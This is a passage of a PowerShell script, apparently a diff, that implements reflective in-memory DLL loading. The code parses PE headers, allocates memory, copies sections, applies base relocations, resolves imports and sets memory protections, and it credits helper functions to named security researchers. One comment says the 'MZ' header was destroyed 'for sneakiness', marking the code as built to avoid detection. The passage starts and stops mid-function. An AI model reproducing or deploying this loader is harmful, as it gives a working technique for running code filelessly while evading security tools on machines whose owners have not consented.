else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } + + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } + + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $DllInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] + [IntPtr] + $EndAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr]::Zero + if ($PsCmdlet.ParameterSetName -eq "Size") + { + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + } + else + { + $FinalEndAddress = $EndAddress + } + + $DllEndAddress = $DllInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($DllInfo.DllHandle) ($StartAddress)) -eq $true) + { + Throw "Trying to write to memory smaller than allocated address range. $DebugString" + } + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($DllEndAddress)) -eq $true) + { + Throw "Trying to write to memory greater than allocated address range. $DebugString" + } + } + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + #Function written by Lee Holmes, Blog: http://www.leeholmes.com/blog/ + function Invoke-Win32([string] $dllName, [Type] $returnType, + [string] $methodName, [Type[]] $parameterTypes, [Object[]] $parameters) + { + ## Begin to build the dynamic assembly + $domain = [AppDomain]::CurrentDomain + $name = New-Object Reflection.AssemblyName ‘PInvokeAssembly’ + $assembly = $domain.DefineDynamicAssembly($name, ‘Run’) + $module = $assembly.DefineDynamicModule(‘PInvokeModule’) + $type = $module.DefineType(‘PInvokeType’, “Public,BeforeFieldInit”) + + ## Go through all of the parameters passed to us. As we do this, + ## we clone the user’s inputs into another array that we will use for + ## the P/Invoke call. + $inputParameters = @() + $refParameters = @() + + for($counter = 1; $counter -le $parameterTypes.Length; $counter++) + { + ## If an item is a PSReference, then the user + ## wants an [out] parameter. + if($parameterTypes[$counter - 1] -eq [Ref]) + { + ## Remember which parameters are used for [Out] parameters + $refParameters += $counter + + ## On the cloned array, we replace the PSReference type with the + ## .Net reference type that represents the value of the PSReference, + ## and the value with the value held by the PSReference. + $parameterTypes[$counter - 1] = + $parameters[$counter - 1].Value.GetType().MakeByRefType() + $inputParameters += $parameters[$counter - 1].Value + } + else + { + ## Otherwise, just add their actual parameter to the + ## input array. + $inputParameters += $parameters[$counter - 1] + } + } + + ## Define the actual P/Invoke method, adding the [Out] + ## attribute for any parameters that were originally [Ref] + ## parameters. + $method = $type.DefineMethod($methodName, ‘Public,HideBySig,Static,PinvokeImpl’, + $returnType, $parameterTypes) + foreach($refParameter in $refParameters) + { + $method.DefineParameter($refParameter, “Out”, $null) + } + + ## Apply the P/Invoke constructor + $ctor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([string]) + $attr = New-Object Reflection.Emit.CustomAttributeBuilder $ctor, $dllName + $method.SetCustomAttribute($attr) + + ## Create the temporary type, and invoke the method. + $realType = $type.CreateType() + $realType.InvokeMember($methodName, ‘Public,Static,InvokeMethod’, $null, $null, + $inputParameters) + + ## Finally, go through all of the reference parameters, and update the + ## values of the PSReference objects that the user passed in. + foreach($refParameter in $refParameters) + { + $parameters[$refParameter - 1].Value = $inputParameters[$refParameter - 1] + } + } + + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $DllHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $NtHeadersInfo = New-Object System.Object + + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($DllHandle, $Win32Types.IMAGE_DOS_HEADER) + + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$DllHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, $Win32Types.IMAGE_NT_HEADERS64) + + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) + { + throw "Invalid IMAGE_NT_HEADER signature." + } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name Dll64Bit -Value $true + } + else + { + $imageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, $Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name Dll64Bit -Value $false + } + + return $NtHeadersInfo + } + + #This function will get the information needed to allocated space in memory for the DLL + Function Get-DllBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $DllBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $DllInfo = New-Object System.Object + + #Write the Dll to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedDllBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($dllBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($dllBytes, 0, $UnmanagedDllBytes, $dllBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -DllHandle $UnmanagedDllBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the DLL to memory + $DllInfo | Add-Member -MemberType NoteProperty -Name 'Dll64Bit' -Value ($NtHeadersInfo.Dll64Bit) + $DllInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $DllInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $DllInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + + #Free the memory allocated above, this isn't where we allocate the dll to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedDllBytes) + + return $DllInfo + } + + + + + #DllInfo must contain the following NoteProperties: + # DllHandle: An IntPtr to the address the Dll is loaded to in memory + Function Get-DllDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $DllHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + if ($DllHandle -eq $null -or $DllHandle -eq [IntPtr]::Zero) + { + throw 'DllHandle is null or IntPtr.Zero' + } + + $DllInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -DllHandle $DllHandle -Win32Types $Win32Types + + #Build the DllInfo object + $DllInfo | Add-Member -MemberType NoteProperty -Name DllHandle -Value $DllHandle + $DllInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $DllInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $DllInfo | Add-Member -MemberType NoteProperty -Name Dll64Bit -Value ($NtHeadersInfo.Dll64Bit) + + if ($DllInfo.Dll64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$DllInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_NT_HEADERS64))) + $DllInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$DllInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_NT_HEADERS32))) + $DllInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + return $DllInfo + } + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $DllBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $DllInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $DllInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$DllInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, $Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$DllInfo.DllHandle) ([Int64]$SectionHeader.VirtualAddress)) + + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } + + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } + + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -DllInfo $DllInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($DllBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -DllInfo $DllInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $DllInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_BASE_RELOCATION) + + #If the Dll was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$DllInfo.DllHandle) ` + -or ($DllInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($DllInfo.DllHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($DllInfo.DllHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($DllInfo.DllHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($DllInfo.DllHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$DllInfo.DllHandle) ([Int64]$DllInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, $Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$DllInfo.DllHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between Dll expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } + + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $DllInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + if ($DllInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$DllInfo.DllHandle) ([Int64]$DllInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, $Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$DllInfo.DllHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } + + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($DllInfo.DllHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$ThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ThunkRef, [IntPtr]) + + while ($ThunkRefVal -ne [IntPtr]::Zero) + { + $ProcedureName = '' + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + if([Int64]$ThunkRefVal -lt 0) + { + $IMAGE_ORDINAL = 0xFFFF + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi(([Int64]$ThunkRefVal -band $IMAGE_ORDINAL)) + } + else + { + $StringAddr = Add-SignedIntAsUnsigned ($DllInfo.DllHandle) ($ThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned ($StringAddr) ([System.Runtime.InteropServices.Marshal]::SizeOf([UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + } + + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + if ($NewThunkRef -eq $null) + { + Throw "New function reference is null, this is almost certainly a bug in this script" + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr])) + $ThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ThunkRef, [IntPtr]) + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $DllInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $DllInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$DllInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, $Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($DllInfo.DllHandle) ($SectionHeader.VirtualAddress) + + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize + + $OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -DllInfo $DllInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = Invoke-Win32 "kernel32.dll" ([Bool]) "VirtualProtect" @([IntPtr], [UInt32], [UInt32], [Ref]) @($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $DllHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $DllInfo = Get-DllDetailedInfo -DllHandle $DllHandle -Win32Types $Win32Types + + #Get the export table + if ($DllInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($DllHandle) ($DllInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, $Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($DllHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($DllHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($DllHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($DllHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [UInt32]) + return Add-SignedIntAsUnsigned ($DllHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $DllBytes + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + + #Get basic DLL information + Write-Verbose "Getting basic DLL information from the file" + $DllInfo = Get-DllBasicInfo -DllBytes $DllBytes -Win32Types $Win32Types + $OriginalImageBase = $DllInfo.OriginalImageBase + + + #Verify that the DLL and the current process are the same bits + $Process64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) -ne 8) + { + $Process64Bit = $false + } + if ($Process64Bit -ne $DllInfo.Dll64Bit) + { + Throw "DLL platform doesn't match process platform" + } + + + #Allocate memory and write the DLL to memory. Always allocating to random memory address so I have pretend ASLR + Write-Verbose "Allocating memory for the DLL and write its headers to memory" + $DllHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$DllInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + [IntPtr]$DllEndAddress = Add-SignedIntAsUnsigned ($DllHandle) ([Int64]$DllInfo.SizeOfImage) + if ($DllHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory." + } + + [System.Runtime.InteropServices.Marshal]::Copy($DllBytes, 0, $DllHandle, $DllInfo.SizeOfHeaders) | Out-Null + + + #Now that the DLL is in memory, get more detailed information about it + Write-Verbose "Getting detailed Dll information from the headers loaded in memory" + $DllInfo = Get-DllDetailedInfo -DllHandle $DllHandle -Win32Types $Win32Types + $DllInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $DllEndAddress + + + #Copy each section from the DLL in to memory + Write-Verbose "Copy DLL sections in to memory" + Copy-Sections -DllBytes $DllBytes -DllInfo $DllInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the Dll based on the memory address the Dll was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the Dll was actually loaded in memory" + 